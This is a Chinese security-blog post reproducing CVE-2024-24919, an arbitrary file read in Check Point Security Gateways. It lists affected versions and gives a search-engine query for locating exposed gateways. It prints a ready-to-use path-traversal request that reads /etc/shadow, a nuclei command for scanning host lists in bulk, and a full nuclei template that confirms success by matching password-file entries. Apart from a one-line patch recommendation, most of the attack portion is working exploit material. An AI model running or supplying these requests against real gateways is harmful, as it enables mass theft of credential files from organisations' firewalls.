漏洞复现-CVE-2024-24919

admin 2024年6月3日16:58:58评论30 views字数 2039阅读6分47秒阅读模式
 

:漏洞名称

Check Point 安全网关任意文件读取漏洞

:漏洞描述

Check Point安全网关是Check Point综合网络安全解决方案中的核心组成部分,提供防火墙、IPS、VPN等功能,以实时检测和应对网络威胁。通过集成多种安全技术、高级威胁预防和集中管理等特性,它确保了全面的安全保护和合规性,适用于各种部署场景和性能需求。

Check Point Security Gateways 任意文件读取漏洞(CVE-2024-24919)存在在野利用,远程攻击者可以通过构造恶意请求读取服务器上的任意文件,造成敏感信息的泄漏。目前,此漏洞已检测到在野利用。鉴于该漏洞影响范围较大,建议客户尽快做好自查及防护。

漏洞影响版本

Check Point Security Gateways R77.20 (EOL)Check Point Security Gateways R77.30 (EOL)Check Point Security Gateways R80.10 (EOL)Check Point Security Gateways R80.20 (EOL)Check Point Security Gateways R80.20.xCheck Point Security Gateways R80.20SP (EOL)Check Point Security Gateways R80.30 (EOL)Check Point Security Gateways R80.30SP (EOL)Check Point Security Gateways R80.40 (EOL)Check Point Security Gateways R81Check Point Security Gateways R81.10Check Point Security Gateways R81.10.xCheck Point Security Gateways R81.20

:网络空间测绘查询

app="Check_Point-SSL-Network-Extender"

漏洞复现-CVE-2024-24919

漏洞复现-CVE-2024-24919

:漏洞复现

poc
POST /clients/MyCRL HTTP/1.1Host: Content-Type: application/x-www-form-urlencodedaCSHELL/../../../../../../../etc/shadow

漏洞复现-CVE-2024-24919

任意文件读取漏洞允许攻击者读取目标系统上的任意文件,包括敏感的配置文件、密码文件、日志文件等。这种漏洞通常是由于应用程序对用户输入的不充分验证或者未正确限制文件访问权限所导致的。
:批量检测
nuclei.exe -t CVE-2024-24919.yaml -l host.txt
:修复建议
建议更新当前系统或软件至最新版,完成漏洞的修复。

批量验证脚本

id: CVE-2024-24919

info:
  name: Check Point Quantum Gateway - Information Disclosure
  author: johnk3r
  severity: high
  description: |
    CVE-2024-24919 is an information disclosure vulnerability that can allow an attacker to access certain information on internet-connected Gateways which have been configured with IPSec VPN, remote access VPN or mobile access software blade.
  reference:
    - https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/
    - https://support.checkpoint.com/results/sk/sk182337
  metadata:
    max-request: 1
    vendor: checkpoint
    product: quantum_security_gateway
    cpe: cpe:2.3:h:checkpoint:quantum_security_gateway:*:*:*:*:*:*:*:*
    shodan-query: html:"Check Point SSL Network"
    verified: true
  tags: cve,cve2024,checkpoint,lfi

http:
  - raw:
      - |
        POST /clients/MyCRL HTTP/1.1
        Host: {{Hostname}}

        aCSHELL/../../../../../../../etc/shadow

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:"
          - "nobody:"
        condition: and

      - type: status
        status:
          - 200

原文始发于微信公众号(Adler学安全):漏洞复现-CVE-2024-24919

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月3日16:58:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞复现-CVE-2024-24919https://cn-sec.com/archives/2809949.html

发表评论

匿名网友 填写信息